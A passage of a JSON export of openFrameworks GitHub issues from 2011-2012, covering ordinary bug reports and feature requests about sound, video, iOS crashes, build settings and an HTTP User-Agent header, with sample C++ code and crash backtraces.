interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","id":116976,"avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2756440,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/866"},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2710048,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/863"},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","id":1298679,"avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2700549,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/861"},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2685556,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/856"},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"assignee":null,"closed_at":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2677212,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/855"},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"assignee":null,"closed_at":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","id":156066,"avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2647508,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/851"},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"assignee":null,"closed_at":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2637694,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/849"},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"assignee":null,"closed_at":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2546302,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/846"},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"assignee":null,"closed_at":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809,"avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2512838,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/843"},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"assignee":null,"closed_at":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","id":203532,"avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2486705,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/840"},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":838,"assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2476561,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/838"},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"assignee":null,"closed_at":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2455011,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/837"},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090,"closed_issues":0},"number":836,"assignee":null,"closed_at":null,"title":"0073 Release tracking issue","labels":[],"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2439965,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/836"},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"assignee":null,"closed_at":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","id":390056,"avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2436532,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/831"},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":829,"assignee":null,"closed_at":null,"title":"0072 Release tracking issue","labels":[],"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2429871,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/829"},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"assignee":null,"closed_at":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2380571,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/825"},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","id":737888,"avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2364541,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/822"},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
